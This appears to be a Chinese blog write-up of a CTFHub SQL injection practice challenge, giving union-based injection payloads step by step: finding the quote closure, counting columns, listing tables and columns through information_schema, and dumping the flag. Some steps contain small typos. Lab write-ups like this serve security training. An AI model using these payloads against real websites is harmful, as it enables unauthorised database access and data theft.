CTFHub-SQL注入-1过关攻略

我独自升级中
2026-10-02 / 0 评论 / 111 阅读 / 正在检测是否收录...

靶场地址

https://www.ctfhub.com/#/challenge

muqz3qlp.png

找出闭合符号

通过id=1 and 1=2--+发现页面正常说明需要闭合

image.png
通过id=1 and 1=2--+发现页面闭合符为单引号

image-1.png

利用order by找到长度为3

语法:id=1 orer by 3--+

image-2.png

使用联合注入,select 1,2, 3搜索发现2,3位置处回显

语法:id=1' and 1=2 union select 1,2,3--+

image-3.png

找到两个数据库观察发现flgg应该是在fl4g数据库中

语法:?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

image-4.png

查看flag表中的字段只有fllllag

语法:?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="fl4g"--+

image-5.png

直接搜索flag中的fllllag得出答案

语法:?id=1' and 1=2 union select 1,2,group_concat(fllllag) from fl4g --+

image-6.png

0

评论 (0)

取消